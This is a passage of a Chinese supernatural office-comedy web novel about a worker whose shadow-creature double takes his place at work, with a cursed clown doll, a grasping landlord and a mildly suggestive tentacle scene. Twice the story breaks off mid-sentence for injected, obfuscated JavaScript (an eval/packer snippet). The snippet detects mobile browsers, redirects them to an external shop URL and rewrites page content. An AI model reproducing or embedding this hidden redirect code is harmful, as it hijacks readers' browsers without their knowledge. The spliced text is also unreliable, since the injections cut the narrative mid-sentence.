很快,影先生坐在椅子上,开始参会,越时也假装不甘心被取代跟在他的身边。 枯燥的周一晨会,令人作呕的领导发言——因为大领导住院了变成薛主管主持会议,依然听着就让人头疼,这熟悉的一切却因为今天的视角改变,让越时多了几分奇异的感受。 他盯着自己变透明的影子,忽然好奇阳光照在身上会是什么样,仗着别人反正看不到自己,啪的一下关了灯,又啪的一下打开窗帘。 其他人顿时吓了一跳,“怎么回事?!” “谁开了窗帘?!” 薛主管更是一个激灵,直接站起身来,显然也吓了一跳,但还是强撑着维持安静, “好了好了!不就是电路出错?!继续开会了!!大白天的,有什么可怕的?!都坐好安静!” 不愧是主管,都闹‘鬼’了还只想着开会,还是那么的没有人性。 越时就站在他身后,无声发笑,在这一刻,忽然理解了闹鬼事件里的鬼有多爽。 影先生岿然不动坐在椅子上,只是静静地看着他,并未出手阻止,似乎是把他的这些恶作剧当成了不甘心被取代的微弱挣扎。 会议进行到一半,越时释然了。 他原本还担心影先生听不懂会议内容,但仔细想想,晨会什么的,根本就没有多少内容嘛! 虽然要开会开一个小时,但80%都是废话和与他无关的东西,根本不用担心! 而且影先生不是人类又如何呢?偌大的会议室里,比鬼怪更听不懂人话的傻子有的是! 要比拼同事们的伪人程度,影先生根本拼不进前三! 心一旦放进肚子里,越时的恶作剧就更加有创意了,一会儿朝着讨厌的领导同事后脖子吹小凉风,一会儿去外面给自己开了个冰可乐,让一两滴冷凝水突然滴落在正说话的主管手背,一会儿又把公司前台鱼缸里的死鱼捞出来,一把丢在会议室的桌上。 晨会开了多久,越时就闹了多久,在他的努力之下,平时会开一个半小时周会竟然提前半小时就结束了。 宣布散会的那一瞬间,众人都不约而同松了口气,脸上纷纷流露出发自内心的微笑。 上班搭子路过“越时”的身边,拍了拍他的肩膀,小声说悄悄话, “太好了,如果公司闹鬼就能少开点儿会,我愿意用一生吃肉换公司天天闹鬼。” 正在冒充越时的影先生自然没理解这份幽默,只是认真思考了片刻,又认真地回了一句“好”。 下一秒,美好的祝福一语成谶,正在会议室收拾桌面的陈伟忽然脸色大变,猛地拿起一旁的茶水,朝着薛主管兜头浇了下去。 “陈伟!你怎么回事?!!” 薛主管愤怒地瞪过去时,却对上了陈伟那双瞳孔失焦,嘴角高高咧起,笑得格外诡异的一张脸。 他吓得打了个寒颤,脚下不稳地后退一步,顿时觉得自己破案了,大喊一声, “快、快叫保安!!真的闹鬼了!陈伟被鬼上身了!就是他!快来人把他按住!!” 越时:“?” 虽然不知道发生了什么,但是好像有人替他背锅了诶。 4. 第四章 陈伟不知道为何突然疯了。 他双眼通红,语无伦次,突然变得力大无穷,脸上还挂着无比渗人的可怖笑容,看着确实像是中邪了一般,完全不正常。 众人都被吓得够呛,但很快就发现,中邪了的陈伟并不伤害同事,只会追着领导泼水。 经过他这么一闹,再也没人存心思追究之前的闹鬼是怎么回事了,只觉得一切问题的根源都是陈伟。 众人从惊恐到茫然,再到吃瓜看乐子,只用了一分钟的时间转变。 只见主管领导们在前面跑,陈伟疯笑着在后面追,冲过一扇又一扇玻璃门,伴随着一路的泼水声远去,所到之处,咖啡、泡面、奶茶,甚至连大领导心爱的鱼缸都没有幸免,统统被泼洒在地。 刚刚上班的保洁阿姨淡定路过,在地上放下黄色的小心地滑提示牌。 十几分钟后,保安们才按住了陈伟,将人带去了隔壁的会议室控制住,隐约还能听到其他领导对薛主管的问责声,以及薛主管的连连道歉,答应之后一定管好手下的员工。 片刻,薛主管也换了一身衣服,擦着头发上的水回来了。 见到此状,有同事站出来提议,“薛主管,这种情况不太对劲,我有亲戚是在异常监管局工作的,要不还是让专业的人来处理一下……” “用不着!我不信那套东西,什么监管局不局的,” 薛主管却是摆摆手,要把那个职员赶走,“小徐你别管这么多,人清醒了就得了,都回去工作!别围观了!” 越时听到这里,心中也不意外。 他们公司领导层向来是大事化小小事化了的观念,就算出了事也不喜欢报警,更别提这个神秘的监管局了。 异常监管局就是专门处理这些鬼怪带来的问题的,越时在网上也听说过,貌似是近两年才出现的有关部门,有一定的执法权。 他是不希望监管局来人的,这样容易让影先生暴露,但果然,就算陈伟发疯了,主管也不打算报警。 但他没想到公司里这么卧虎藏龙,还有人的亲戚直接就在监管局工作。 他是姓徐?叫徐什么来着? 下班后试着搭话聊聊天吧……小徐这么了解这些事,说不定知道哪里能搞到危险系数比较低的鬼怪,不,监管局不管这些叫鬼怪,是叫异常体。 问问小徐怎么搞到更多异常体,他好想办法批发点儿给影先生当小零食吃。 嘿嘿,影先生吃的东西如果能免费就更好了,多吃一些快点变强,早日成功取代他让他解放! 刚安静没多久,办公区的玻璃门又被人猛地再次推开,已经恢复清醒的陈伟站在门口,大声控诉, “不是我招来了脏东西!是有人在陷害我,诅咒我!” 越时一听也好奇起来了,诅咒? 好像确实有些都市传说里提到过诅咒是存在的,只不过实现的方式和传统鬼故事不同。 薛主管:“诅咒?谁闲得没事诅咒你?” 越时笑了,这个嘛……谁都有可能。 平日里陈伟在公司里捧高踩低、嫌贫爱富,工作又总是出错,出错了就甩锅,和他明着作对的人不多,私下讨厌他的人却数不胜数。 越时笑着笑着,就听陈伟大声指认,“就是越时!就是他扎小人诅咒我的!!!” 越时:“???” “你还知道什么?” 很显然,一直被陈伟跪舔的薛主管还是很愿意听他甩锅的。 “我昨天看到越时来了公司的,他肯定就是对公司有意见,才带了脏东西过来,就是想害得全公司都不得安宁,不然怎么解释开会的时候一直在闹鬼?!” 陈伟大声控诉着,还不忘拉所有人一起下水,“今天倒霉的是我,但谁知道下一个会是谁呢?!” 越时几乎要忘了自己还是透明人状态,要跳起来和他理论了,“我闲得没事诅咒你干嘛?我看你不爽真忍不住了下班直接套麻袋打你都不解气!诅咒管个屁用啊!” 在他旁边,正在冒充他的影先生则是毫无反应。 越时立刻抓住影先生,“你快让他拿出证据啊!快啊!” 影先生:“?” 越时知道对方还不是很懂职场上的这些门道,快速说道,“面对同事的甩锅陷害,最重要的就是,证据!证据!!不可以傻站着等什么清者自清啊!” 影先生依然不太理解,甚至面对那些人类的吵吵闹闹,连仔细听进去的耐心都没有。 他面无表情地看看吵闹的几个人类,又看看焦急不已的越时,只是悄悄伸出一根仅越时可见的触手,悄然爬上越时的右腿,又沿着后背搭上肩膀,轻轻在他的脸颊蹭了一下。 味道很好。 但是里面掺杂了太多的……苦涩、辛辣。 生气的人类尝起来都不甜了。 越时只觉得身上痒痒的,侧头躲开,然后抓住那只触手,“别、别乱动啊!现在不是做这个的时候吧!” 然而,就在他抓住那只黑色触手的瞬间,触手的末端张开了一个口,对着越时口吐人言, “何必大费周章?” “……什么?” 越时看看手中说话的触手,又抬头看看还人模人样、站在前面冒充他的影先生,一时无语。 鬼怪就是牛啊,还能同时有两幅面孔(物理)。 “既然你讨厌他们,为何还要执着留在这里?” 又一跟触手缠绕上他的手腕,低沉的在越时耳边发出蛊惑的声音, “我来让他们安静下来,你和我走。” 属于影先生本音的呓语永远带着模糊不清的嗡鸣声,仿佛那并非什么声带震颤能发出的声音,而是由无数金属、管弦、野兽低吼糅合在一处模拟出的合唱般的音调。 越时起初并不适应这样的嗓音,说话的方式也太过奇怪,每每听多了,就会感觉有些头晕目眩,但现在听着,倒是适应了一些。 “什么叫……安静?” 越时忽然冒出个不太合法的猜测,“永远安静那种吗?” 影先生无声望着他,一条触手缓缓抬起,无声卷上了旁边薛主管的脖子,然后又举起另一条触手,如法炮制…… “等等!!” 越时承认,自己确实可耻的心动了。 身在中州,谁没有过小时候炸学校长大了炸公司的美好梦想呢? 可梦想是很美好,现实却很残酷。 他这些年看过的电影小说不少,非常清楚,如果得到了超出常理的力量,就利用它做尽坏事的话,是会变成反派被正义的力量打倒的! 异常不是法外之地,他可不想被监管局通缉。 “我……你……” 越时叹了口气,说出重点,“你让他们都永远安静了,谁给我发工资?” “……工资?” “是啊,工资才是最重要的,就是说,钱啊,钱!” 越时努力劝说影先生不要做这些危险的、会引来无尽麻烦的事,“而且必须是正规途径赚到的、合法的钱,不然你等不到好好取代我,我就先饿死了,我、我要是这么快就死了,你之前做的不就都白费了?” “……” 影先生明白了,人类很脆弱,也很麻烦,就像是一阵风都能摧毁的花朵一样,非常难养。 虽然记不清楚了,但他到底还是非人的存在,我行我素惯了,骤然让他在这里冒充人类,还要遵循人类的那套规矩,实在不太适应。 见他不再坚持,也收回了触手,越时才松了一口气。 他们说话的功夫,陈伟已经把事情说得天花乱坠,什么业绩下滑,甲方不签约,公司风水差,就差把卢浮宫被盗都怪在越时头上了。 随着一口【诅咒同事诅咒全公司】的锅扣过来,一直关注着这边风向的其他同事们表面上低头忙于工作,实际上偷偷吃瓜,一排排工位上传来隐约的窃窃私语声,越时几乎能感觉到一道道视线朝着这边投来,但等他回头看去时,却只瞧见同事们眼观鼻鼻观心的乖巧模样,比上课的学生都机灵。 可恶! 越时已经快忍不了了,只想快点让两人换回来,影先生不懂得如何面对甩锅,他熟啊! 然而,他还没开口,影先生就忽然从触手中吐出了一个圆滚滚的东西。 咕噜噜。 一个圆滚滚的,仿佛晴天娃娃一样的丑陋布偶滚了出来。 仔细看去,那其实是一个打扮成小丑模样的布偶,只不过身体似乎烂掉了,露出了里面发黑的骨架,被几片破布盖着,臃肿的头颅上一个涂着口红的鲜红大嘴几乎占满半张脸,圆圆的红色鼻尖更是仿佛随时会爆开。 哪里是玩偶,倒像是某种不祥的道具,多看一眼都要掉san。 下一秒,那个看起来仿佛已经损坏彻底的‘晴天娃娃’小丑版一个激灵飘了起来,发出一声惊恐的尖锐鸣叫。 卧槽,是活的!! 越时被吓了一跳。 同样吓一跳的还有起初没注意到这边的其他人。 “什么东西?!” “鬼啊!” “真的有脏东西!!!” 诅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496752|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咒小丑忽然一改之前的死物状态,整只飘向半空,破烂的、漏出黑色棉花的头颅膨胀变大,犹如人头气球般充血狰狞,同时发出了尖细恐怖的鬼叫声。 一时之间,整个楼层都听到了这道凄厉恐怖的异常声音,原本还在吃瓜的员工们也吓坏了,当即就立刻按下全部保存键然后关闭电脑,准备立刻逃命。 然而引发混乱的小丑却并不如它表面上那样猖狂。 实际上,仔细倾听的话,会发现它不是在笑,而是在爆哭,只不过哭得太难听了,跟鬼笑似的。 呜呜呜!! 太可怕了太可怕了太可怕了!!! 小丑早就失去眼球的黑色眼眶中流出大股的红黑血泪。 他好倒霉啊!! 早知道这次的买家要诅咒的是【祂】看中的人类,他哪里敢随便接单啊!! 他已经够命苦的了,身为一个可怜弱小又无助的异常体,每天都被卖来卖去,日子过得又苦又累,最后还要碰上传说中的邪神大人! 不是说邪神一直在沉睡的吗?!怎么突然醒来了也不说一声啊! 谁不知道刚睡醒的邪神是最饥饿的时候,所以突然被嚼嚼嚼的时候他都不敢反抗,还以为只要自己足够难吃,就能靠装死苟到最后呢!谁知道这样轻易就被识破了! 还好大人今天心情好,愿意给他一个将功赎罪的机会! 为了活命,他会好好表现的!! 眨眼间,小丑的头颅已经膨胀到一个灌木丛那么大,鲜红的嘴唇高高裂开到耳根,死死盯着把他带到这里的陈伟。 小丑的心中涌起无限怨恨,咬牙切齿地大笑着扑向陈伟,“都怪你!!你这个害人精!!啊啊啊——” “救命啊!!!” 陈伟登时大喊大叫着要逃命,却在恐惧下四肢没了力气,只能狼狈地在地上爬行。 “你害死我了!害死我了!害死我了!!!啊啊啊!” 小丑大叫着,死死用他的头颅在陈伟身上撕咬拉扯,嘴里吐出怨毒的话语, “都怪你非要把我买下!!都怪你把我带到这里!!你害死我了!!!你买了我还不写好评!!你这个垃圾!” “救命!我、我不是故意的!啊啊啊……我给了钱的!我没有违反规则为什么要找上我!!啊啊啊——” 陈伟拼了命的想跑,然而周围已经没有人来管他了。 公司的大门不知何时被一股神秘力量锁死了,谁都无法离开,在惊恐中,小丑充满怨恨的声音传达到了每一个人的耳中。 逐渐地,人们纷纷发现,这个突然冒出的小丑怪物是冲着陈伟去的。 “怎么感觉听起来……陈伟才是那个把怪物带到公司,然后拿东西诅咒别人,最终自食恶果的人啊……” “是啊……他都承认了……” “吓死人了……不过陈伟平时就特别小人得志的样子,他会诅咒别人,我一点都不意外……” “我就知道越哥是清白的,他平时加班加得像条狗一样,吃饭睡觉都顾不上,哪里有精力做别的事啊。” 越时看向同事人群,“谁偷偷骂我是狗呢?” 最终,巨大的小丑将陈伟逼到墙角,听完对方承认交代了一切罪行、痛苦流涕跪着忏悔后,忽然张开了血盆大口,将整个人吞进了嘴里。 越时第一次看到大吃活人,吓得连忙冲上前去,一把拽住那小丑的后脑勺疯狂摇晃, “啊啊啊这个不能吃啊啊啊!!快吐出来吐出来!!!你们怪物到底是怎么回事怎么看到啥都乱吃啊啊啊啊啊——” “呕——” 快被晃晕了,小丑一下又把已经吓傻了的陈伟吐了出来。 陈伟被吃了吐,浑身裹满了恶心的黏液,一睁眼第一个看到的竟然是‘越时’,顿时吓哭了, “我、我错了,我再也不诅咒你了,原谅我吧,我、我不知道你竟然是……” 见他不同意,影先生也上前一步,在另一侧单手抓住陈伟的脚,轻轻拽了一下。 下一秒陈伟就又被小丑贴脸吓了一次,两眼一翻晕了过去。 而小丑则是看看祂,又看看站在一旁的越时,也意识到自己的表演该落幕了,于是装作痛苦地大喊了几声,原地爆头。 嘭!如同气球爆炸,小丑的头颅化作飞灰消失不见,在看不见的角落里,则有一个仅剩拇指大小的黑色骷髅哒哒哒趁机躲进阴影,只求苟命。 世界,安静了。 众人在死寂中沉默了几秒,最终齐刷刷看向‘越时’,缓缓响起了几道劫后余生的掌声。 5. 第五章 真相大白,闹剧告一段落,众目睽睽之下,所有人都看到是‘越时’毫无畏惧地给了那怪物一巴掌,替公司的众人除去了隐患。 在那之后,救护车就带走了昏迷的陈伟,据说他和大领导住进了同一家医院,连病房都在同一层。 越时从未想过会有这样的展开。 真相大白后,他没有因【被陈伟针对诅咒污蔑泼脏水】这样的可怜受害者出名,反而因为【一拳打爆老怪物】而出尽风头,成了同事领导眼中深藏不露的高手。 越时让影先生谦虚一点,不要太出风头了,“上班期间不要表现得自己能力很强,什么都做得到,能者多劳啊,事情会变多的!你就假装不知道发生了什么,你也是碰巧走运气才打爆了那个小丑。” 对此,影先生配合地非常敷衍,只在其他同事追问他怎么这么厉害的时候淡淡说了句,“不厉害。” 不但没看出谦虚,反而更装逼了。 越时绝望抱头。 你把我演得ooc了你知不知道! 一时之间,越时去茶水间倒个水,都有陌生的同事不喊他越哥了,喊他越大师。 简直令人脚趾扣地。 很快,薛主管就喊‘越时’来一趟办公室,谈谈奖励他的事。 同事之间发生再多的矛盾,公司都不会给谁什么赔偿、弥补,但‘越时’除掉了威胁公司财产安全的鬼怪,是立功的了,反而理应得到表彰。 等到影先生出来时,手里就多了一个大红包,发的是现金。 红包当然是有条件给的,主管又颇为语重心长地说了些客套话、好听的话,最终目的就一个,让‘越时’别把今天的事情往外传。 这也很合越时自己的心意。 从陈伟发疯开始,再到小丑娃娃出现,他也一直在提心吊胆,担心把监管局的人招来,还好最后没有。 越时高高兴兴从影先生手中接过红包,低头开始数钱,笑得合不拢嘴。 好啊好啊,整整两千块呢,比他加班的加班费给得都多! 然而他数了一半,就忽然听到一道尖细的声音传来, “恭喜大王!” 什么东西?! 越时险些吓得跳起来,低头仔细去看,才发现办公桌上竟然有一个头在说话。 不对,不是一个头,是披着破布的骷髅。 “哇!” 越时一下认出了,是刚才在办公室先吓晕陈伟,然后原地爆炸的小丑! 就是脸皮都炸没了,就剩下丑丑的骷髅了。 是小零食诶,影先生怎么没把它吃干净? “这东西……怎么还在?!它不是爆头了吗?” 影先生转过头来,看看越时,又看看桌上的小东西,无声威胁。 小丑不存在的冷汗顿时就下来了。 他的牙齿打颤,在两道令鬼害怕的目光中瑟瑟发抖地交代起自己编得台词。 没办法,为了活命,也是为了让邪神大人高兴,他必须足够努力才行! 鬼怪之间有鬼怪沟通的方式,早在刚才,邪神大人就交代过他了,让他谨言慎行,不要随便暴露邪神大人的身份。 于是他做出最诚恳的模样,对越时解释道,“刚、刚才,我确实没死,是邪……因为影先生放了我一马,作为报答,我才演了一出戏……” “原来是这样啊!” 越时恍然大悟。 他就说呢,影先生上次捕食都受伤了,怎么这次一点没受伤,原来是在配合演戏啊。 小丑见他一下就信了,松了一口气,“是啊是啊,看在我刚才表现还不错的份上,能不能让我留下来?我什么都愿意做的!” 骗人的,其实他是被迫留下的呜呜呜……但是不能出卖邪神大人! 还好他已经看出来了,祂很看重眼前这个人类,虽然不知道哪天邪神大人饿了,他就要变成小零食,但哄好这个人类就不一样了。 越时还不知道他的心思,疑惑道,“啊?你不是报完恩了吗?” “我……我想留下,为、为你们做事……” 小丑结结巴巴地解释起来,真假参半地说道,“实不相瞒,我已经搞砸了今天的订单,没能成功得到好评,回去一定会受到狠狠地责罚,除非你们愿意让我留下,我就再也不用挨打了!” 话说到一半,越时已经朝他投来了同情的目光。 小丑连忙趁热打铁,“而且我只是个打工的,别人让我做什么,我就要做什么,根本没有选择啊。我的主人对我特别差,每个订单完成后,我还得自己爬回去,等待下一次出售!一旦路上耽搁了,回去又是一顿毒打啊!” “什么?!” 越时震惊,“不但迟到体罚,连下班的路费都不报销吗?!” 他生平最恨的就是无良资本家,而诅咒小丑的原主人,更是玩了一手一本万利的好算盘。 黑,真黑啊!! 经过一番解释,他也想通了,留下小丑也算是做善事,能避免这东西继续害人。 “真可怜,那你就留下吧,只要不把监管局的人招来就行,不过……你能做什么?” “我能诅咒,害人!能让人发疯,夺仇人性命,还能让大王讨厌的人名声扫地!众叛亲离!!” “额……” 说实话,越时觉得自己不是很需要这个。 见他表情犹豫,诅咒小丑顿时慌了,一身的骨架都发出喀拉喀拉的颤抖声,“我、我还能做很多的!虽然一次只能诅咒一个人,但是我每天都能干活的,可以全年无休!您要是缺钱的话,也、也可以试着把我卖出去的!我会自己爬回来的!” “不是这个问题,” 越时抬手,让他冷静一点,“我的意思是……你会做表吗?” “啊?” “做表格,做日报、周报,工作汇总,P图,发好友圈,回甲方消息……” 越时尝试着说了一些,然后笑了笑, “你别紧张啊,我不会让你全年无休的,以后我什么时候上班,你就什么时候开始工作就行了,完成我交代的活儿,你还能提前下班呢。” “……啊?” 活在黑心奴隶主手下的诅咒小丑压根没听过下班这个词,更别说提前下班了,这天方夜谭一般的短语直接让它愣住了两秒。 “还有啊,你这个样子有点太难看了,回头我给你一点布料,你给自己重新做个皮肤吧,” 越时补充道,“顺便,以后别叫我大王了,你不觉得这个称呼放在21世纪有点不合适吗?” “呜呜……恩公!谢谢恩公!” “错,” 越时笑着用签字笔戳他脑壳,“叫领导。” “呜呜呜呜!!!领导!!您简直是我见过最善良最伟大的人!!!呜哇——” 小丑突然感动得痛哭流涕,淌了一桌子的血水。 …… 多了一个帮忙上班的人之后,越时的工作任务又轻了一些。 不得不说,不愧是常年和人类打交道的鬼怪,诅咒小丑远比影先生清楚该怎么使用电脑,如何完成工作,越时只简单交代了一些,小丑就听懂了。 上午的工作交给小丑操作电脑处理,影先生负责在这里冒充他坐班,越时总算能真正自由地放松一会儿了。 越时想到了很多可以做的事,比如掐灭全公司所有的烟,比如下楼吃吃喝喝,比如站在桌上对领导的脸放屁,但他想了一圈,最终只是默默躺在休息室的沙发上,吃着零食一直刷手机直到中午十二点。 真是浪费。 看到时间一点点流逝,越时在心中唾骂自己的懒惰,然后换了个更加舒服的姿势。 倒不是他不想直接回家躺平,而是他早就猜到了,影先生取代他这件事不能一蹴而就。 果然,随着时间流逝,他的影子颜色一点点变浓,影先生留在他身上的神奇力量也在一点点消退着。 直到十二点的闹钟响起,魔法的效果全部消失,影先生变回了他人观测不到的异常,他也不再是透明人。 “过了十二点就不行,你是灰姑娘吗……” 越时自言自语着吐槽。 过了这个午休,他就要回到工位亲自上班了。 越时叹了一口气,仔细思考寻找原因,最终做出判断——应该是因为影先生没有吃饱,所以也没有充足的力量冒充他。 他得快点行动起来了,多帮忙觅食一些营养全面的小怪物回来。 他们小区里就有不少。 越时住在光明小区,除了他房子窗外曾经爬着的那些恶心怪物外,小区的其他地方、住房内部也有不少比藤壶更加难以去除的东西,导致小区的房价一直较低,住进来的也大都是在附近上班的年轻人。 正想着呢,一个电话就打了进来。 越时拿出手机一看,是房东的电话。 他眉头一皱下意识按了静音,然后才揉了揉额角,等电话自动挂断后又过了几分钟,从威讯回了一条消息。 【不好意思刚才在忙没看到,是有什么事吗?】 很快,威讯又打来一个视频电话,越时皱眉,改用语音通话的方式接听了,“喂?” “小越啊,是这样的,你的这个租房合同不是还有两个月吗?” “嗯嗯,是,我是打算续租的。” “哦哦,我不是说这个啦,我是想说,最近我这个房子在市场价有变动,下个月开始啊,我是打算涨一部分房租的,” 房东是个年过五十的中年人,操着一口浓重的本地口音,像是生怕别人不知道他是本地人一样,实际上却是因为再婚来到繁星市定居的,在这之前一直是雪茄市的人, “你也知道的,要不是外面那些异常总是不走啊,我也不会按照低于市场价租给你,现在我看窗外也没有东西了,我也不给你多涨,还是会比较便宜的,就只涨每个月400块。” 越时不喜欢这个房东,尤其是讨厌看到房东那张刻薄的嘴脸,如今通着电话,才知道哪怕只听声音,脑子里也会冒出那张脸造成精神攻击, “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496753|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾叔消息够灵通的啊,我那窗外的东西才消失了一天,你就这么快知道了。” “啊哈哈哈,这不是关心你嘛,你想想,万一哪天你没关好窗户,让那东西爬进去了,我也好第一时间帮你打120嘛。” 虚伪。 越时在心中唾骂。 他原本的房租是便宜,但涨了400块以后,就变成市场价的80%了。 倒也不是不能接受,就是心里憋屈得很,“行,不过合同还没到期,等过两个月开始,我就按涨价的给您付。” “我不是这个意思,你误会了啊小越。” 电话那头却又笑着说起来,“我的意思啊,是接下来两个月就涨这四百元,你之前呢是季付的,这俩月原本的房租给了,所以现在再给我转八百就行,等合同到期后啊,我是打算恢复到原价的,还要再高一点。” “……” 越时想骂人了。 怪物是他冒着生命危险解决的,合同也早就签了,不但要临时涨价,还要违反合同,两个月后竟然还狮子大开口? 这个房东是傻逼吗?这房子能这么低价租出去,哪里只有怪物的原因? 小区里还有那么多随时可能威胁人生活的东西看不到吗?老破小下水道有多差不知道吗?还有那四级能耗的破空调,动不动就漏水的水管子,不都是他在忍受? 现在倒好,他住进来才不到一年,发霉的墙,他处理好了,经常堵塞的下水道,他给疏通了,水管他换了,煤气灶他修了,就连破旧老化的大门门锁他都是自掏腰包换了更安全更好的,这个时候,房东倒是知道涨价了!!! 冲天怨气冒出后,越时啪的一声挂断了电话,手指紧紧捏着手机气了几秒,才发了个消息过去:【领导突然找我,房租的事情我回头再跟您详谈。】 越时气得又没胃口了,本来吃过药的胃部也再次疼了起来。 他脸色微微泛白,坐回了沙发,疼得站不起来。 在他冒冷汗时,几条出手从天花板垂落下来。 影先生早在‘魔法失效’前就进来守着他了,只是一直没有出声,也没什么存在感。 此刻触手忽然靠近,越时便推了推他,以为是触手又饿了,无奈敷衍,“别闹,现在没东西喂你。” 然而触手却不依不饶,执着地缠上他的腰肢,钻进他蜷缩的身体,用冰冷滑腻的触感激起他皮肤的战栗。 干什么? 越时不懂,皱着眉要闪躲,一道模糊的呓语却直接传入脑海。 他原本应该是听不懂那些声音的,那不是人类的语言,但这一次,不知是熟悉了还是怎么,他的大脑在听到的瞬间就理解了其中的意思。 影先生在让他【放松】,【配合】。 放松什么?配合什么? 下一秒,一条手指粗细的触手忽然挤进了他微微喘气的口腔。 “唔?!” 越时惊讶地睁眼,下意识伸手要去拽,却敌不过触手的执拗,光滑发凉的东西一进入他的口腔,就好像液体般柔软,咽不下,也吐不出。 进、进去了…… 他试图捂住嘴边,拽出触手,发着抖的手臂却使不上力气,只能蜷缩成更小只滚落沙发,又被更多粗壮有力的触手接住,将他稳稳托起。 他的额头冒出更多汗珠,也被外面的触手卷去,人类无法嗅闻到的香气在狭小的、不知何时上了锁的休息室内弥漫开来,细长的触手如蝴蝶的触角般来到黏膜的最深处,滑过脆弱的喉咙,终于钻进了正在紧缩的胃袋。 越来越多的口水分泌着,生理性的泪水可怜兮兮地淌了满脸,弄脏了的眼镜被取下放在一边,留给越时的只有近视加散光留下的模糊视野。 他再也发不出一点声音,只能蜷缩着微微发抖,任由自己越来越多的体`液被触手贪婪地撷取,脑袋里都变得空白一片,仿佛轻飘飘躺在云端之上。 直到一声叹息在耳边响起,像是过了一个世纪那么久,触手们终于餍足地放开了他。 越时躺在沙发上,气喘吁吁,浑身上下却干净清爽,只有凌乱的发丝和起皱的衬衫昭示着刚才发生的混乱。 他眨了眨眼,缓缓起身看向手机,才发现时间只过去了五分钟。 五分钟……竟然像是一个小时那么漫长。 可恶…… 越时刚想发火,却又猛地一愣,发现自己的胃不疼了。 触手,这是,给他做了个胃镜? 不对,胃镜也不是治疗手段,只是检查手段,比起胃镜,他更像是被做了个无创手术。 虽然喉咙被强行入侵了,但现在并没有留下任何黏膜被粗暴对待的不适感,胃里也温暖平和,身体更像是轻了很多,仿佛多年顽疾都在这一刻痊愈了。 发呆的片刻里,一条触手再次垂落,将有点蹭脏了的眼镜递给他。 “……多谢。” 越时重新戴上眼镜,视野恢复后看向已经爬回天花板的影先生,心情复杂。 怎么感觉影先生的本体又变大了很多呢…… 6. 第六章 托了房东的福,越时在小区内打野的计划只能暂时延后,先想想房租的事了。 现在的当午之急是……吃饭。 越时默默离开工位,像游魂一样飘向位于写字楼旁边,地下一楼的美食城,随便给自己来了份便宜盖饭。 手机又震动起来,他点开一看,是搭子发来的消息:【你搁哪儿坐着呢?给我占座了没?】 越时抬头看去,发现搭子就在他这几排桌子附近,站起身来招手,“这儿呢这儿呢!!回头!” 喊了半天,才把人喊了过来。 上班搭子姓郝,日常爱吃面食,今天买了一份牛肉面,一屁股坐在他对面, “说个好消息,陈伟被带走了,估计会被拘留,貌似是因为非法持有危险物品。” “这么好?” 越时点点头,继续吃饭。 “你看起来脸色还是不太好,有别的傻逼让你烦心?” “房东。” “哦,合理。” 越时一手拿着筷子吃饭,一手刷着房产租赁中介,“他要涨房租,每个月四百。” “四百啊……我记得你那房子位置不错,四百的话……” “合同到期后,还要涨更多,按市场价来。” “他家死人了吗?急需棺材钱?” 搭子冷冷开口,平静吐槽。 “可能吧。” 越时叹了口气,“我打算到期就搬走了。” “实在不行越哥,你就搬去我那儿跟我合租。” 越时愣了一下,很快笑了笑,婉拒了搭子的友好邀请。 他确实不介意合租,但从奢入俭难,一旦体验过了独居的自由,就很难再回到过去了。 更何况他现在已经有影先生了。 再过不久,他应该就会从这个世界上自由地消失了吧…… “不过还是谢谢你,郝仁一生平安。” 越时拿起手边的可乐敬他一杯。 搭子全名是郝仁易,他很喜欢这个谐音梗。 搭子没和他碰杯,只是深深地看了越时一眼。 “怎么了?” “感觉你今天怪怪的,没遇上什么事儿吧?” “我能有什么事儿?” 越时打了个哈哈,避开他的视线,“你放心,虽然这日子过得没有盼头,但我不会因为这点小挫折就辞职回老家的。” 他的搭子知道,他家里的情况算不上好,并不支持他在大城市打拼,这两年一直打电话和他要钱,还催他回老家结婚,催他快点安定下来,一旦被家里知道他工作生活不顺利,就会在电话另一头唱衰。 【都怪你不听我们的话,非要在什么繁星市做那个破工作!】 【你要是早点听我们的回家,就做给你安排的稳定工作,能累成这样?】 “嗯……我要是现在说【那就放心了】,会不会太地狱笑话了点?” “会。” 两人对视半晌,纷纷发出一阵苦笑。 越时很快就吃完了,刷了半天的房子,不是太贵,就是太远,要么就是太小太破烂。 没办法,预算有限,想住位置好条件好还有窗户的整租,在大城市总要好几千,像现在这么好的条件,往往是秒被抢没的。 更郁闷的是,就算他再去找来一些不那么危险的鬼怪放在房子附近压价,也会很快被影先生吃掉…… 想着想着,越时就暂时不想了,房东那边也只发了消息,表示自己不同意涨价,违反合同。 很快,房东那边就回了语音条,呜噜哇啦的一大堆废话中,告诉了他最近会带人看房子的消息,让他要么家里留人,要么留备用钥匙。 “太无耻了!” 搭子听了叹为观止。 确实无耻,也确实让人拿他没辙。 越时还在租期内,不想把自家钥匙给出去,于是把目光投向了影先生。 等到吃完饭,到了没人的地方,他问道,“你会分`身术吗?” 影先生:“?” “算了……” 越时只好和他商量,“你能不能先回去我住的地方?这几天就留在那儿,只要有人开门,你就把门打开,其它的什么都不用做。” 话音刚落,几条触手就缠上了他的手臂。 “别别……你别动了!我不是想支开你……不是,我也没有想逃跑……” 半晌,越时才气喘吁吁地从触手堆里爬出来。 好好的一个大触手怪,怎么就整出了黏人大型犬的感觉呢? 他只好退而求其次,回到工位把主意打向了诅咒小丑,并承诺了报酬, 